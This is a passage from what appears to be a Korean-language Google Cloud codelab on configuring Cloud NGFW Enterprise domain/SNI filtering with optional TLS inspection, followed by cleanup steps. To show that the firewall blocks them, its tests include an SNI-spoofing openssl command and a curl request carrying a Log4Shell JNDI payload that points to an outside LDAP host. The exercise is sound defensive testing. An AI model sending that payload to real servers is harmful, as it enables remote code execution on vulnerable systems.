Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

TLS 검사를 통해 이 허점을 해결할 수 있습니다.

연결을 닫고 VM을 종료합니다.

"ctrl" + c
exit

18. [선택사항] TLS 검사

TLS 리소스 구성

이 섹션은 선택사항입니다. 도메인/SNI 필터링은 TLS 검사 없이도 작동하기 때문입니다. 하지만 위협 방지를 사용하거나 향후 전체 URL 필터링을 사용할 수 있을 때 보안 프로필에서 경로 기반 규칙을 빌드하려면 TLS 검사를 사용하는 것이 좋습니다.

또한 TLS 검사는 SNI 스푸핑이 발생할 수 있으므로 추가 검사 레이어를 제공합니다.

CA 풀을 만듭니다. 이 리소스는 NGFW Enterprise용으로 생성하는 루트 CA 인증서를 저장하는 데 사용됩니다.

gcloud privateca pools create $prefix-CA-Pool --project=$project_id --location=$region --tier=devops

루트 CA를 만듭니다. NGFW Enterprise를 통한 요청에 대한 추가 인증서에 서명하는 데 사용되는 CA 인증서입니다.

gcloud privateca roots create $prefix-CA-Root --project=$project_id --location=$region --pool=$prefix-CA-Pool --subject="CN=NGFW Enterprise Test CA 2, O=Google NGFW Enterprise Domain/SNI"

아래 메시지가 표시되면 y를 입력합니다.

The CaPool [ngfw-enterprise-CA-Pool] has no enabled CAs and cannot issue any certificates until at least one CA is enabled. Would you like to also enable this CA?

Do you want to continue (y/N)?

서비스 계정을 만듭니다. 이 서비스 계정은 NGFW Enterprise의 인증서를 요청하는 데 사용됩니다.

gcloud beta services identity create --service=networksecurity.googleapis.com --project=$project_id

서비스 계정에 대한 IAM 권한을 설정합니다.

gcloud privateca pools add-iam-policy-binding $prefix-CA-Pool --project=$project_id --location=$region --member=serviceAccount:service-$project_number@gcp-sa-networksecurity.iam.gserviceaccount.com --role=roles/privateca.certificateRequester

TLS 정책 YAML 파일을 만듭니다. 이 파일에는 다음 특정 리소스에 관한 정보가 포함됩니다.

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
EOF

TLS 검사 정책을 가져옵니다.

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

엔드포인트 연결을 업데이트하여 TLS를 사용 설정합니다.

gcloud network-security firewall-endpoint-associations update $prefix-association --zone=$zone --project=$project_id --tls-inspection-policy=$prefix-tls-policy --tls-inspection-policy-project=$project_id --tls-inspection-policy-region=$region

CA 인증서를 가져와 클라이언트의 CA 저장소에 추가합니다. NGFW Enterprise가 TLS를 설정하고 CA 풀에서 서명된 인증서를 표시하므로 신뢰가 필요합니다.

gcloud privateca roots describe $prefix-CA-Root --project=$project_id --pool=$prefix-CA-Pool --location=$region --format="value(pemCaCertificates)" >> $prefix-CA-Root.crt

CA 인증서를 클라이언트로 전송합니다.

gcloud compute scp --tunnel-through-iap  $prefix-CA-Root.crt  $prefix-$zone-client:~/  --zone=$zone

SSH를 통해 VM에 연결하고 CA 인증서를 /usr/local/share/ca-certificates로 이동한 후 CA 저장소를 업데이트합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

sudo mv domain-sni-CA-Root.crt /usr/local/share/ca-certificates/

sudo update-ca-certificates

VM을 종료하고 Cloud Shell에서 계속합니다.

TLS 검사를 위한 방화벽 규칙 업데이트

gcloud compute network-firewall-policies rules update 300 --action=apply_security_profile_group --firewall-policy=$prefix-fwpolicy  --global-firewall-policy --direction=EGRESS --security-profile-group=//networksecurity.googleapis.com/organizations/$org_id/locations/global/securityProfileGroups/$prefix-spg --layer4-configs=tcp:80,tcp:443 --dest-ip-ranges=0.0.0.0/0 --enable-logging --tls-inspect

TLS 검사로 규칙 검증

IAP를 통해 VM에 SSH 연결을 시작합니다.

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

허용된 대상에 샘플 요청을 보냅니다.

curl https://wikipedia.org --max-time 2
curl https://ifconfig.me --max-time 2

이러한 테스트는 문제없이 통과해야 합니다. 인증서를 검토하고 인증서가 NGFW에 의해 서명되었는지 확인하려면 다음 명령어를 실행하면 됩니다.

curl https://ifconfig.me --max-time 2 -vv

예상 출력:

admin@domain-sni-us-west1-a-client:~$ curl https://ifconfig.me --max-time 2 -vv
*   Trying 34.160.111.145:443...
* Connected to ifconfig.me (34.160.111.145) port 443 (#0)
* ALPN: offers h2,http/1.1
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
* TLSv1.3 (IN), TLS handshake, Certificate (11):
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
* TLSv1.3 (IN), TLS handshake, Finished (20):
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.3 (OUT), TLS handshake, Finished (20):
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=ifconfig.me
*  start date: Sep 20 07:05:42 2025 GMT
*  expire date: Sep 21 06:58:10 2025 GMT
*  subjectAltName: host "ifconfig.me" matched cert's "ifconfig.me"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#5226903875461534691
*  SSL certificate verify ok.
* using HTTP/1.x
> GET / HTTP/1.1
> Host: ifconfig.me
> User-Agent: curl/7.88.1
> Accept: */*
> 
* TLSv1.3 (IN), TLS handshake, Newsession Ticket (4):
< HTTP/1.1 200 OK
< Content-Length: 10
< access-control-allow-origin: *
< content-type: text/plain
< date: Sat, 20 Sep 2025 07:05:43 GMT
< via: 1.1 google
< Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
< 
* Connection #0 to host ifconfig.me left intact
x.x.x.x

위 출력에서 수신된 인증서가 이전에 생성한 루트 CA에 의해 서명되었기 때문에 NGFW Enterprise에서 요청을 TLS 검사하고 있음을 확인할 수 있습니다. (발급자 필드)

TLS 검사로 SNI를 스푸핑하려는 규칙 검증

이제 TLS 검사가 사용 설정되었으므로 동작을 검증해 보겠습니다.

다음 openssl 명령어를 실행하여 SNI를 스푸핑합니다.

openssl s_client -connect www.google.com:443 -servername ifconfig.me

예상 출력:

CONNECTED(00000003)
write:errno=104
---
no peer certificate available
---
No client certificate CA names sent
---
SSL handshake has read 0 bytes and written 317 bytes
Verification: OK
---
New, (NONE), Cipher is (NONE)
Secure Renegotiation IS NOT supported
Compression: NONE
Expansion: NONE
No ALPN negotiated
Early data was not sent
Verify return code: 0 (ok)
---

위 출력에서 TLS 검사가 사용 설정되면 이전에 작동하던 SNI 스푸핑 요청이 이제 실패하는 것을 확인할 수 있습니다. TLS 검사가 사용 설정되면 NGFW가 SNI를 서버 인증서의 주체 대체 이름 (SAN)과 비교하기 때문입니다. 일치하지 않으면 TLS 핸드셰이크가 실패합니다.

TLS 검사를 통한 도메인/SNI 및 위협 방지 유효성 검사

이제 허용된 도메인에 대한 악성 (log4j) 요청에 대해 이전에 실행한 테스트를 다시 실행합니다.

허용된 도메인/SNI 대상으로 샘플 악성 (log4j)을 전송합니다.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2

예상 출력:

000

이 000 응답 코드는 위협이 감지되어 NGFW에 의해 연결이 종료되었기 때문입니다. 자세한 출력을 수집하여 확인할 수 있습니다.

curl -s -o /dev/null -w "%{http_code}\n" -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://www.eicar.org --max-time 2 -vv

예상 출력:

*   Trying 89.238.73.97:443...
* Connected to www.eicar.org (89.238.73.97) port 443 (#0)
* ALPN: offers h2,http/1.1
} [5 bytes data]
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
} [512 bytes data]
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
{ [5 bytes data]
* TLSv1.3 (IN), TLS handshake, Server hello (2):
{ [122 bytes data]
* TLSv1.3 (IN), TLS handshake, Encrypted Extensions (8):
{ [6 bytes data]
* TLSv1.3 (IN), TLS handshake, Certificate (11):
{ [3423 bytes data]
* TLSv1.3 (IN), TLS handshake, CERT verify (15):
{ [80 bytes data]
* TLSv1.3 (IN), TLS handshake, Finished (20):
{ [52 bytes data]
* TLSv1.3 (OUT), TLS change cipher, Change cipher spec (1):
} [1 bytes data]
* TLSv1.3 (OUT), TLS handshake, Finished (20):
} [52 bytes data]
* SSL connection using TLSv1.3 / TLS_AES_256_GCM_SHA384
* ALPN: server did not agree on a protocol. Uses default.
* Server certificate:
*  subject: CN=www.eicar.org
*  start date: Sep 20 07:50:20 2025 GMT
*  expire date: Sep 21 10:41:22 2025 GMT
*  subjectAltName: host "www.eicar.org" matched cert's "www.eicar.org"
*  issuer: CN=Google Cloud Firewall Intermediate CA ID#4044393130040997148
*  SSL certificate verify ok.
* using HTTP/1.x
} [5 bytes data]
> GET / HTTP/1.1
> Host: www.eicar.org
> Accept: */*
> User-Agent: ${jndi:ldap://123.123.123.123:8055/a}
> 
* Recv failure: Connection reset by peer
* OpenSSL SSL_read: Connection reset by peer, errno 104
* Closing connection 0
} [5 bytes data]
* Send failure: Broken pipe
000

위에서 NGFW가 TLS 검사를 실행하고 악성 요청을 차단한 것을 확인할 수 있습니다.

VM을 종료합니다.

exit

다음 섹션으로 이동하여 정리 단계를 확인하세요.

19. 정리 단계

기본 설정 정리

인스턴스를 삭제합니다.

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Cloud 방화벽 네트워크 정책 및 연결을 삭제합니다.

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Cloud Router 및 Cloud NAT를 삭제합니다.

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

예약된 IP 주소를 삭제합니다.

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Cloud Firewall SPG 및 연결 정리

다음 순서로 보안 프로필 그룹과 위협 및 URL 필터링 프로필을 삭제합니다.

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles url-filtering \
  delete $prefix-sp \
  --organization $org_id \
  --location=global

Cloud 방화벽 엔드포인트 연결을 삭제합니다.

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Cloud 방화벽 엔드포인트를 삭제합니다. 이 작업은 20분 정도 걸릴 수 있습니다.

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

원하는 경우 아래 명령어를 실행하여 Cloud NGFW 엔드포인트가 삭제되었는지 확인합니다.

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

엔드포인트의 상태는 다음을 표시해야 합니다.

STATE: DELETING

완료되면 엔드포인트가 더 이상 나열되지 않습니다.

[선택사항] TLS 정리

선택사항인 TLS 검사 구성을 진행한 경우 아래 명령어를 실행하여 TLS 리소스를 정리합니다.

TLS 정책을 삭제합니다.

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

루트 CA 및 CA 풀을 사용 중지하고 삭제합니다.

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

서브넷 및 VPC 정리

마지막으로 서브넷과 VPC 네트워크를 삭제합니다.

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

20. 결론 및 고려사항

이 실습은 매우 간단하며 인터넷에 연결되는 단일 VM으로만 테스트합니다. 실제 시나리오에서 VPC에는 여러 리소스가 포함될 수 있으며 트래픽은 모든 방향 (N/S 및 E/W)으로 이동합니다. 도메인/SNI 필터링을 위한 방화벽 규칙은 EGRESS 0.0.0.0/0이므로 '모두 포착'이며 네트워크 정책에서 우선순위가 가장 낮은 규칙으로 구성해야 합니다(MUST). 그렇지 않으면 트래픽이 예기치 않게 일치하고 기본 urlFiltering 규칙에 따라 허용/거부됩니다.

또한 네트워크 유형을 사용하여 범위를 제한하는 것도 고려해 보세요. 이는 E/W 트래픽이 규칙과 일치하지 않도록 하기 위한 것입니다. 또는 E/W 트래픽에 대해 우선순위가 더 높은 허용 규칙을 만듭니다.

도메인/SNI 필터링을 자세히 다루는 권장사항 문서를 검토하세요.

21. 축하합니다.

수고하셨습니다. 도메인 및 SNI 필터링(선택사항인 TLS 검사 포함)을 위한 Cloud NGFW Enterprise를 성공적으로 완료했습니다.